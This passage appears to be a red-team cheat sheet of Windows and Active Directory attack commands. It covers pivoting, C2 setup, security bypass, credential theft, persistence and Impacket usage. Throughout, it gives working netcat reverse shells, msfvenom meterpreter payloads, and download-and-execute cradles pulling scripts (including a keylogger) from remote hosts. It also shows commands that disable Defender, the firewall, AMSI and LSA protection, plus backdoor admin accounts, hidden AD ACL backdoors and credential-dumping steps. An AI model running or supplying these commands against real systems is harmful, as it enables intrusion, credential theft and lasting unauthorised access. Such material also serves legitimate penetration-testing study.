netsh interface portproxy add v4tov4 listenport=28888 connectport=28888 connectaddress=10.10.14.2
netsh interface portproxy add v4tov4 listenport=38888 connectport=38888 connectaddress=10.10.14.2
netsh interface portproxy add v4tov4 listenport=48888 connectport=48888 connectaddress=10.10.14.2
netsh interface portproxy add v4tov4 listenport=58888 connectport=58888 connectaddress=10.10.14.2
chisel.exe server -p 8000 --socks5 --reverse -v
netsh interface portproxy add v4tov4 listenport=18888 connectport=1080 connectaddress=127.0.0.1
```
#### On D (172.16.2.12)
```
nc 172.16.1.5 28888 -e cmd.exe # standard user shell
nc 172.16.1.5 38888 -e cmd.exe # admin user shell
netsh interface portproxy add v4tov4 listenport=10080 connectport=10080 connectaddress=172.16.1.5
netsh interface portproxy add v4tov4 listenport=48888 connectport=48888 connectaddress=172.16.1.5
netsh interface portproxy add v4tov4 listenport=58888 connectport=58888 connectaddress=172.16.1.5
chisel.exe client 172.16.1.5:8000 R:socks
```
#### On E (172.16.2.102)
```
nc 172.16.2.12 48888 -e cmd.exe # standard user shell
nc 172.16.2.12 58888 -e cmd.exe # admin user shell
```
## Ligolo-ng - userland network stack
https://github.com/tnpitsecurity/ligolo-ng
###Linux
```
//on c2
$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
//on agent
$ ./agent -connect attacker_c2_server.com:11601
[Agent : nchatelain@nworkstation] » ifconfig
//on c2
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
$ sudo ip route add 192.168.0.0/24 dev ligolo
```
###Windows
You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).
```
//on c2
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
> netsh int ipv4 show interfaces
[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation
```
###Agent Binding/Listening
```
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
[Agent : nchatelain@nworkstation] » listener_list
[Agent : nchatelain@nworkstation] » listener_stop 0
//on c2
$ nc -lvp 4321
```
####################################################################################################
#################################### Command and Control ####################################
####################################################################################################
## covenant
```
$ ~ > cd Covenant/Covenant
$ ~/Covenant/Covenant > dotnet build
$ ~/Covenant/Covenant > dotnet run
```
## covenant docker
sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /opt/Covenant/Covenant/Data:/app/Data covenant
sudo docker ps -l
sudo docker exec -it [container]
sudo docker start [container]
## inject Donut Shellcode
./donut.exe -a2 -f1 "C:\Users\User\Desktop\API.exe" -o API.bin //-a <arch> Target architecture : 1=x86, 2=amd64, 3=x86+amd64(default). -f <format> Output format. 1=Binary (default), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex
./donut.exe -a2 -f1 "C:\Users\User\Desktop\APIx86.exe" -o APIx86.bin
$filename64 = "C:\Users\User\Desktop\API.bin"
[convert]::ToBase64String([IO.File]::ReadAllBytes($filename64)) | clip
$filename86 = "C:\Users\User\Desktop\APIx86.bin"
[convert]::ToBase64String([IO.File]::ReadAllBytes($filename86)) | clip
## generate new payload
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
.\csc.exe -platform:x86 -out:"C:\Users\User\Desktop\covenant86.exe" "C:\Users\User\Desktop\covenant32bit.cs"
.\csc.exe -platform:x64 -out:"C:\Users\User\Desktop\covenant64.exe" "C:\Users\User\Desktop\covenant64bit.cs"
## rastamouse GruntInjector script - https://gist.github.com/rasta-mouse/3f73f1787e6ab1ceead636ca632a50bf#file-gistfile1-txt
C:\Users\user1\Desktop>GruntInjector.exe "C:\Program Files\Internet Explorer\iexplore.exe" 4084
## koadic - windows post-exploitation C2 framework
git clone https://github.com/zerosum0x0/koadic.git
cd koadic
pip3 install -r requirements.txt
./koadic
stager/js/mshta # serves payloads in memory using MSHTA.exe HTML Applications
stager/js/regsvr # serves payloads in memory using regsvr32.exe COM+ scriptlets
stager/js/rundll32_js # serves payloads in memory using rundll32.exe
stager/js/disk # serves payloads using files on disk
stager/js/wmic # serves payloads in memory using WMIC
stager/js/bitsadmin # transfers a .wsf payload containing JScript over a Bitsadmin job and executes it
####################################################################################################
################################## Bypass Local Protection ##################################
####################################################################################################
## Bypass UAC and launch PowerShell window as admin
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
## check applocker rules
PS C:\> $a = Get-ApplockerPolicy -effective
PS C:\> $a.rulecollections
## PS constrained
PS C:\> $ExecutionContext.SessionState.LanguageMode
## disable windows defender
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
(Get-MpPreference).DisableRealtimeMonitoring
(Get-MpPreference).DisableIOAVProtection
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
```
PS C:\htb> Get-MpComputerStatus | findstr "True"
AMServiceEnabled : True
AntispywareEnabled : True
AntivirusEnabled : True
BehaviorMonitorEnabled : True
IoavProtectionEnabled : True
IsTamperProtected : True
NISEnabled : True
OnAccessProtectionEnabled : True
RealTimeProtectionEnabled : True
```
## bypass defender and execute procdump.exe
rename procdump.exe to dump64.exe and place it to
`C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\dump64.exe`
## disable firewall
netsh firewall set opmode disable
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
## https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a
## LSA Protection Bypass:
Get-Item -Path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa | Select-Object -ExpandProperty Property
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -> RunAsPPL -> 1 # check reg if protected LSA is enabled, it run LSASS as a protected process
download whole zip contains mimikatz.exe, mimidrv.sys, and mimilib.dll
mimikatz > version
mimikatz > !+
mimikatz > !processprotect /process:lsass.exe /remove
## Credential Guard Bypass
.\DG_Readiness_Tool_v3.2.ps1 -Enable -AutoReboot # If it is enabled, instead of the NTLM hash, Credential Guard returns an encrypted string.
download whole zip contains mimikatz.exe, mimidrv.sys, and mimilib.dll
mimikatz > version
mimikatz > misc::memssp # mimikatz start to log the passwords of all users who login to c:\windows\system32\mimilsa.log
type c:\windows\system32\mimilsa.log
## https://github.com/mvelazc0/defcon27_csharp_workshop
#1 Custom Meterpreter Stager
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=Your_Kali_IP LPORT=8080 -f exe > ~/reverse.exe
openssl genrsa > privkey.pem
openssl req -new -x509 -key privkey.pem -out cert.pem -days 365
twistd -n web -c cert.pem -k privkey.pem --https=8080
run reverse.exe and get the staging URL
query staging URL using web.client
put the downloaded payload data into memory using win32 API
1. VirtualAlloc
2. Marshal.Copy
3. CreateThread
#23 Shellcode Obfuscation (cannot bypass windows defender)
XORing Your Payload
AESing Your Payload
#45 PowerShell without PowerShell.exe (cannot bypass amsi)
Executing PWS Cmdlets
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Program Files(x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll" 1.cs
#6 DLL Injection (将dll注入到一个已存在的进程中)
gcc -m64 -shared -o ShellcodeInjectionDll.dll ShellcodeInjectionDll\ShellcodeInjectionDll.cpp
VirtualAlloc function is used to reserve, commit, or change the state of a region of pages in the virtual address space of the calling process.
VirtualAllocEx function is to allocate memory in another process' address space.
WaitForSingleObject function is used to wait until the specified object is in the signaled state or the time-out interval elapses.(avoid shell terminated while connecting)
Get the process id of the target process (e.g. with something like GetWindowThreadProcessId). # Process proc1 = Process.GetProcessById(val);
Get a handle to the process with the appropriate permissions using OpenProcess. # IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc1.Id);
Allocate some memory in that process with VirtualAllocEx. # IntPtr memAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Copy the name of your DLL into that memory with WriteProcessMemory. # bool resp1 = WriteProcessMemory(procHandle, memAddr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
Get the address of the LoadLibrary function using GetProcAddress. # IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
Call CreateRemoteThread to start the LoadLibrary call in the target process, with the thread parameter being the memory you've allocated with VirtualAllocEx (containing the name of the DLL). # CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, memAddr, 0, IntPtr.Zero);
#7 Process Hollowing (启动一个进程，然后向该进程注入shellcode)
using CreateProcess Windows32 API
#8 Parent Process Spoofing
spawn a new process spoofing its parent process and inject shellcode to it to obtain a reverse shell.
## amsi disable - https://amsi.fail/
Using PowerShell version 2
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
## amsi Patching - https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
Patching amsi.dll AmsiScanBuffer by rasta-mouse
Amsi ScanBuffer Patch
Amsi Buffer Patch - In memory
Adam Chester Patch
Modified Amsi ScanBuffer Patch
## Bypass Application Whitelisting (AppLocker) -
Applocker apply rules based on 1.Publisher or 2.Path or 3.File hash
sfk replace cmd.exe -binary /440069007300610062006c00650043004D004400/440069007300610062006c00650041004D004400/ # customized cmd.exe
## Writable Folders for Bypassing Execution Control
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
## Code Execution Techniques - https://github.com/pwndizzle/CodeExecutionOnWindows
accesschk64.exe "Users" c:/Windows -w # find out writable path
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe payload.cs # craft payload.exe
msfvenom -p windows/x64/meterpreter/reverse_https -f payload.dll # craft payload.dll, or .vbs or .xml
C:\Windows\System32\SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" # SyncAppvPublishingServer.exe, alternative to Powershell.exe
C:\Windows\System32\control.exe payload.dll # control.exe
C:\Windows\System32\cscript.exe payload.vbs (where payload.vbs contains WScript.Shell) # cscript.exe/wscript.exe
C:\Windows\System32\cscript.exe payload.js (where payload.js contains WScript.Shell) # cscript.exe/wscript.exe
C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll # rundll32.exe
C:\Windows\System32\rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test'); # rundll32.exe
C:\Windows\System32\regsvr32.exe /s /n /u /i:[URL] scrobj.dll # regsvr32.exe
C:\Windows\System32\regsvr32.exe payload.dll # regsvr32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj # MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml # MSBuild.exe
C:\Windows\System32\mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta # mshta.exe
C:\Windows\System32\wbem\WMIC.exe os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl" # wmic.exe
winrm.exe qc -q & winrm i c wmicimv2/Win32_Process @{CommandLine="calc"} # winrm.exe
C:\Windows\System32\forfiles.exe /p c:\windows\system32 /m notepad.exe /c whoami # forfiles.exe, alternative to cmd.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe # InstallUtil.exe
## https://lolbas-project.github.io/#/execute
AgentExecutor.exe
Appvlp.exe
At.exe
Atbroker.exe
Bash.exe
Bginfo.exe
Bitsadmin.exe
Cdb.exe
Cmstp.exe
coregen.exe
csi.exe
DefaultPack.EXE
Devtoolslauncher.exe
Diskshadow.exe
Dnscmd.exe
dnx.exe
Dotnet.exe
Dxcap.exe
Explorer.exe
Extexport.exe
Forfiles.exe
Ftp.exe
Gpscript.exe
Hh.exe
Ie4uinit.exe
Ieexec.exe
Infdefaultinstall.exe
Installutil.exe
Mavinject.exe
Mftrace.exe
Microsoft.Workflow.Compiler.exe
Mmc.exe
Msbuild.exe
Msconfig.exe
Msdeploy.exe
Msdt.exe
Mshta.exe
Msiexec.exe
msxsl.exe
Netsh.exe
Odbcconf.exe
Pcalua.exe
Pcwrun.exe
Presentationhost.exe
Rasautou.exe
rcsi.exe
Regasm.exe
Register-cimprovider.exe
Regsvcs.exe
Regsvr32.exe
Rundll32.exe
Runonce.exe
Runscripthelper.exe
Schtasks.exe
Scriptrunner.exe
Sqlps.exe
SQLToolsPS.exe
Squirrel.exe
SyncAppvPublishingServer.exe
te.exe
Tracker.exe
Ttdinject.exe
Tttracer.exe
Update.exe
Verclsid.exe
vsjitdebugger.exe
Wab.exe
Wmic.exe
Wsl.exe
wuauclt.exe
Xwizard.exe
## msiexec.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi
msiexec.exe /q /i http://192.168.1.107/shell.msi
or
msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
mv cmd.msi cmd.png
msiexec.exe /q /i http://192.168.1.107/cmd.png
or
msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi
msiexec.exe /q /i http://192.168.1.107/admin.msi
or
msiexec /y payload.dll
msiexec /z payload.dll
## GreatSCT
GreatSCT is a tool designed to generate metasploit payloads that bypass common anti-virus solutions and application whitelisting solutions.
https://github.com/GreatSCT/GreatSCT
installe and follow instruction to generate payload
source code file: payload.xml
metasploit rc file: payload.rc
on victim: cmd.exe /c c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe payload.xml
on attack: msfconsole -r payload.rc
## cmstp.exe
## prepare payload launcher.sct
usestager windows/launcher_sct
set Listener HTTP
execute
## content of shell.inf
;cmstp.exe /s cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.10.14.5:8888/launcher.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"
## execute on victim
cmstp.exe /s shell.inf
## Use cscript.exe/wscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS).
cscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
## mshta.exe
Description: MSHTA can be used to execute HTA files (containing scripts) or directly execute VBScript/JScript from the command line.
Example: C:\Windows\System32\mshta.exe bad.hta
Example: mshta vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")
Example: mshta javascript:alert('test');
Example HTA:
<html><HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" /><script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
Close
</script></html>
## NTLM hash capture
"c:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File \\10.10.14.3\test
vim /etc/responder/Responder.conf and change Challenge = 1122334455667788
sudo responder -I tun0
sudo responder -I tun0 --lm
crack.sh
####################################################################################################
##################################### Man-In-The-Middle #####################################
####################################################################################################
## Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system.
### Start inveigh using Basic Auth - logging to file
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y -HTTPAuth Basic"
### Start inveigh in silent mode (no popups)
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y -WPADAuth anonymous"
## Invoke-HotPotato Exploit
powershell.exe -nop -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Tater/master/Tater.ps1');invoke-Tater -Command 'net localgroup Administrators user /add'"
## Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool will only answer to File Server Service request, which is for SMB.
https://github.com/lgandx/Responder
./Responder.py -I eth0 -rPv
####################################################################################################
######################################### Persistence #######################################
####################################################################################################
## Use Windows Debug api to pause live processes
powershell.exe -nop -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/Pause-Process/master/pause-process.ps1');Pause-Process -ID 1180;UnPause-Process -ID 1180;"
## Import Powersploits invoke-keystrokes
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1')"
## Import Empire's Get-ClipboardContents
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/collection/Get-ClipboardContents.ps1')"
## Import Get-TimedScreenshot
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/obscuresec/PowerShell/master/Get-TimedScreenshot')"
## create a schedule task to execute backdoor
schtasks /creat /ru SYSTEM /sc MINUTE /MO 10 /tn megapwn /tr "\"C:\\Users\\path_to_backdoor\\backdoor.exe\""
## changing password
net user username newPassword
net user username newPassword /domain
## create a new user
net user imaginarybit P@ssw0rd12345! /add
net localgroup administrators imaginarybit /add
net localgroup "Remote Desktop Users" imaginarybit /add
net share nothing$=C:\ /grant:imaginarybit,FULL /unlimited
net user username /active:yes /domain
## create a new domain user
net user imaginarybit P@ssw0rd12345! /add /domain /y
net group "domain admins" imaginarybit /add
net group "Enterprise Admins" imaginarybit /add
## bitsadmin.exe
bitsadmin /create hackingarticles
bitsadmin /addfile hackingarticles http://192.168.1.13/payload.exe C:\payload.exe
bitsadmin /SetNotifyCmdLine hackingarticles cmd.exe "/c bitsadmin.exe /complete hackingarticles | start /B C:\payload.exe"
bitsadmin /SetMinRetryDelay hackingarticles 120
schtasks /create /tn hackingarticles /tr "C:\system32\bitsadmin.exe /resume hackingarticles" /sc minute /mo 60
schtasks /run /tn hackingarticles
## AD Backdoor
## Hiding DACL
1. Change the obejct owner from "Domain Admins" to the attacker account.
2. Add a new explicit ACE denying the "Everyone" Principal the "Read Permissions" privilege.
or
1. Change the object owner to itself or another controlled principal
2. Grant explicit control of the pricipal to either itself, or another controlled principal.
3. On the OU containing your hidden pricipal, deny the "List Contents" privilege to "Everyone"
## AdminSDHolder Backdoor
Attacker grant themselves the "User-Force-Change-Password" or "Generic All" right on "CN=AdminSDHolder,CN=System,DC=Domain"
Every 60 minutes, this permission is cloned to every sensitive/protected AD object through SDProp process
Attakcer hides their account using methosd described
$UserSid = Convert-NameToSid badguy
Add-DomainObjectACL -TargetIdentity "CN=AdminSDHolder,CN=System,DC=CORP,DC=LOCAL" -PrincipalIdentity badguy -Right All
## Hiding with deny GenericAll
Set-DomainObjectOwner -Identity badguy -OwnerIdentity badguy
$User = Get-DomainUser badguy
$UserOU = $User distinguishedName Substring($User distinguishedName IndexOf("OU=")
$RawObject = Get-DomainOU -Raw -Identity $UserOU
$TargetObject = $RawObject GetDirectoryEntry()
$RawUser = Get-DomainUser -Raw -Identity badguy
$TargetUser = $RawUser GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Deny -PrincipalIdentity "S-1-1-0" -Right GenericAll
$TargetUser.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetUser.PsBase.CommitChanges()
## Hiding with deny everyone to list the children
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Deny -PrincipalIdentity "S-1-1-0" -Right ListChildren
$TargetUser.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetUser.PsBase.CommitChanges()
## LAPS Backdoor
$RawObject = Get-DomainOU -Raw Servers
$TargetObject = $RawObject.GetDirectoryEntry()
$AdmPwdGuid = (Get-DomainGUIDMap).GetEnumerator() | ?{$_.value eq 'ms-Mcs-AdmPwd'}|select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -InheritanceType Descendents -AccessControlType Allow -PrincipalIdentity "Domain Users" -Right ExtendedRight -ObjectType $AdmPwdGuid
$TargetUser.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetUser.PsBase.CommitChanges()
Find-AdmPwdExtendedRights -OrgUnit Servers -IncludeComputers | fl # Find-AdmPwdExtendedRights "Audits" who can read ms-Mcs-AdmPwd
Get-DomainComputer FS01 -Properties name,ms-mcs-AdmPwd
## DLL injection
When an executable program load a DLL, it will search from the $PATH.
For e.g., explorer.exe
c:\windows\system32\cscapi.dll will be loaded and it is not being used by any program
but the c:\windows\ has priority then c:\windows\system32
if malicious c:\windows\cscapi.dll is existed, the dll will be executed
Known DLLs cannot be hijacked (HKML\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
DLL proxy. The malicious DLL can forward the function calls to the actual DLL file.
https://www.cobaltstrike.com/blog/create-a-proxy-dll-with-artifact-kit/
####################################################################################################
##################################### Core Impacket ##################################
####################################################################################################
The STATUS_OBJECT_NAME_NOT_FOUND error should indicate that there is no \PIPE\svcctl pipe in the IPC$ share for some reasons.
The rpc_access_denied error should mean that a non-administrator account was used (or a local administrator account was used, but the Network UAC is enabled).
## Remote Execution
psexec.py: Required 445
PSEXEC like functionality example using RemComSvc(https://github.com/kavika13/RemCom). RemCom is a small (10KB upx packed) remoteshell / telnet replacement that lets you execute processes on remote windows systems, copy files on remote systems, process there output and stream it back.
It allows execution of remote shell commands directly with full interactive console without having to install any client software. On local machines it is also able to impersonate so can be used as a silent replacement for Runas command.
[*] Requesting shares on DMZDC01.complyedge.com.....
[*] Found writable share ADMIN$
[*] Uploading file YJhRKEpW.exe
[*] Opening SVCManager on DMZDC01.complyedge.com.....
[*] Creating service SyQN on DMZDC01.complyedge.com.....
[*] Starting service SyQN.....
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (ADMIN$)
get {file} - downloads pathname RELATIVE to the connected share (ADMIN$) to the current local dir
! {cmd} - executes a local shell cmd
psexec.py domain:username@10.11.1.218 cmd.exe -path c:\\windows\\system32
psexec.py corp.local/wsadmin@172.16.1.36 -hashes aad3b435b51404eeaad3b435b51404ee:669b12a3bac275251170afbe2c5de8c2
psexec.py -k -no-pass COMPLYEDGE.COM/pete@DMZDC01.complyedge.com
wmiexec.py: Required 135,445,a high port **Highly stealthy**
A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator.
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
get {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
./wmiexec.py domain/username@10.10.10.149 netstat
wmiexec.py COMPLYEDGE.COM/pete@DMZDC01.complyedge.com -k -no-pass
smbexec.py: Required 445
A similar approach to PSEXEC w/o using RemComSvc. The technique is described here. Our implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available.
./smbexec.py domain/username@192.168.1.103
smbexec.py -k -no-pass COMPLYEDGE.COM/pete@DMZDC01.complyedge.com
atexec.py: Required 445
This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
./atexec.py domain/username@10.10.10.149 systeminfo
atexec.py -k -no-pass COMPLYEDGE.COM/pete@DMZDC01.complyedge.com whoami
dcomexec.py: Required 135,445
A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects.
./dcomexec.py domain/usernam@192.168.1.103 dir
## Kerberos
GetUserSPNs.py -no-pass -k -dc-ip 172.16.126.165 -target-domain comply.com COMPLYEDGE.COM/pete
GetADUsers.py -all -no-pass -k -dc-ip 172.16.126.168 COMPLYEDGE.COM/pete
GetTGT.py: Given a password, hash or aesKey, this script will request a TGT and save it as ccache.
GetST.py: Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user.
GetPac.py: This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]s S4USelf + User to User Kerberos Authentication.
GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat.
GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.
ticketConverter.py: This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa.
ticketer.py: This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, ExtraSids, duration, etc.
raiseChild.py: This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids.
## Windows Secrets
secretsdump.py: Performs various techniques to dump secrets from the remote machine without executing any agent there. For SAM and LSA Secrets (including cached creds) we try to read as much as we can from the registry and then we save the hives in the target system (%SYSTEMROOT%\Temp directory) and read the rest of the data from there. For DIT files, we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys using the DL_DRSGetNCChanges() method. It can also dump NTDS.dit via vssadmin executed with the smbexec/wmiexec approach. The script initiates the services required for its working if they are not available (e.g. Remote Registry, even if it is disabled). After the work is done, things are restored to the original state.
secretsdump.py -pwd-last-set -user-status -history -ntds ./ntds.dit -security SECURITY -system SYSTEM local
mimikatz.py: Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi.
## Server Tools/MiTM Attacks
ntlmrelayx.py: This script performs NTLM Relay Attacks, setting an SMB and HTTP Server and relaying credentials to many different protocols (SMB, HTTP, MSSQL, LDAP, IMAP, POP3, etc.). The script can be used with predefined attacks that can be triggered when a connection is relayed (e.g. create a user through LDAP) or can be executed in SOCKS mode. In this mode, for every connection relayed, it will be available to be used later on multiple times through a SOCKS proxy.
karmaSMB.py: A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.
smbserver.py: A Python implementation of an SMB server. Allows to quickly set up shares and user accounts.
## WMI
wmiquery.py: It allows to issue WQL queries and get description of WMI objects at the target system (e.g. select name from win32_account).
wmipersist.py: This script creates/removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer specified.
## Known Vulnerabilities
goldenPac.py: Exploit for MS14-068. Saves the golden ticket and also launches a PSEXEC session at the target.
sambaPipe.py: This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through the -so parameter.
smbrelayx.py: Exploit for CVE-2015-0005 using a SMB Relay Attack. If the target system is enforcing signing and a machine account was provided, the module will try to gather the SMB session key through NETLOGON.
## SMB/MSRPC
smbclient.py: A generic SMB client that will let you list shares and files, rename, upload and download files and create and delete directories, all using either username and password or username and hashes combination. It is an excellent example to see how to use impacket.smb in action.
smbclient.py tricky/imaginarybit@172.16.126.155
## shares
## use C$
## ls *
## cd Users
## lcd /tmp
## get proof.txt
## put proof.txt
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it will be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it will be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
addcomputer.py: Allows to add a computer to a domain using LDAP or SAMR (SMB).
getArch.py: This script will connect against a target (or list of targets) machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.
./getArch.py -target 192.168.1.103
exchanger.py: A tool for connecting to MS Exchange via RPC over HTTP v2.
lookupsid.py: A Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups.
